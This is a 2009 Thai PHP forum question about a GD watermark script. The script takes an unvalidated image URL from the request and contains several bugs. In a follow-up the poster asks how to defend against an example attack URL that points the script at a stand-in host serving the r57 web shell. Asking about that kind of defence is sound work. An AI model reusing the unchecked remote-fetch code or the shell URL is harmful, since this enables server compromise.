|
|
|
ปรึกษาเรื่อง php GD หน่อยครับ ผมอยากทำ ระบบทำลายน้ำ ให้ภาพอ่าครับแบบว่า ใช้ php 1 ไฟล์ในการใส่ลายน้ำ |
|
|
|
|
|
|
|
ผมอยากทำ ระบบทำลายน้ำ ให้ภาพอ่าครับแบบว่า
ใช้ php 1 ไฟล์ในการใส่ลายน้ำ ให้รูป โดยการ
http://localhost/watermark.php?img=url ของรูปภาพที่จะติดลายน้ำ
เช่น
http://localhost/watermark.php?img=http://www.google.com/image.jpg
หรือแบบ
http://localhost/watermark.php?img=img/image.jpg
แต่ผมเขียนแล้ว มันไม่สำเร็จอ่า แต่มันก็ไม่มี error ผมเลยไม่รู้จะแก้ยังไง รบกวนด้วยนะครับ
Code (PHP)
<?
$img = $_POST[img];
$text_title = "ทดสอบ";
$text_web = "www.google.com";
$fontsize = "5";
$image = ImageCreateFromJpeg($img);
$text_color = ImageColorAllocate($image, 233, 14, 91);
if(isset($_POST[x]) && isset($_POST[y]))
{
$x = $_POST[x];
$y = $_POST[y];
ImageString($image, $fontsize, $x, $y, $text_title, $text_color);
}
else
{
$getsize = GetImageSize($image);
$x = $getsize[0] / 4;
$y = $getsize[1] / 2;
$text_color = ImageColorTransparent($image, $text_color); // ตั้งใส
ImageString($image, $fontsize, $x, $y, $text_title, $text_color); // ใส่ข้อความ
}
header("Content-type:image/jpeg");
ImageJPEG($image);
ImageDestroy($image);
?>
ยังไม่ค่อยสมบูรณ์เท่าไรนะครับ ตัว $text_web ผมยังไม่ได้หาที่วางเลย เหอๆๆ
คือจะลองให้มันขึ้นก่อน แต่มันก็ไม่ขึ้น T^T
ที่ผมใช้ if-else เพราะจะทำเงื่อนไขด้วยแบบว่า
ถ้าใช้แบบ http://localhost/watermark.php?img=http://www.google.com/image.jpg
ตรงๆ มันจะหาพิกัดเอง ตามรูปแบบที่ผมกำหนด
แต่ ถ้าจะกำหนดเองด้วยใช้แบบนี้
http://localhost/watermark.php?img=http://www.google.com/image.jpg&x=100&y=100
อะไรประมาณนี้ รบกวนด้วยนะครับ ผมงง ไม่รู้จะแก้ตรงไหน /|\
Tag : - - - -
|
|
|
|
|
|
Date :
2009-04-22 12:30:18 |
By :
ดิ่ง |
View :
1493 |
Reply :
1 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
แล้วก็ ผมเคยอ่านเจอเรื่อง ช่องโหว่แบบนี้
?img=
ที่ผมใช้ อาจจะโดน hacker ใช้ไฟล์ shell เข้ามา hack ได้ มีวิธีป้องกันแนะนำไหมครับ
แบบว่า จะโดน http://localhost/watermark.php?img=http://blackserver/r57.php.txt
มีวิธีป้องกันไหมครับ
หรือว่าผมจะเขียนแบบ เช็นค่า img ที่เข้ามา ให้รับเฉพาะนามสกุลที่เป็นรูปภาพ
|
|
|
|
|
Date :
2009-04-22 12:34:53 |
By :
ดิ่ง |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Load balance : Server 05
|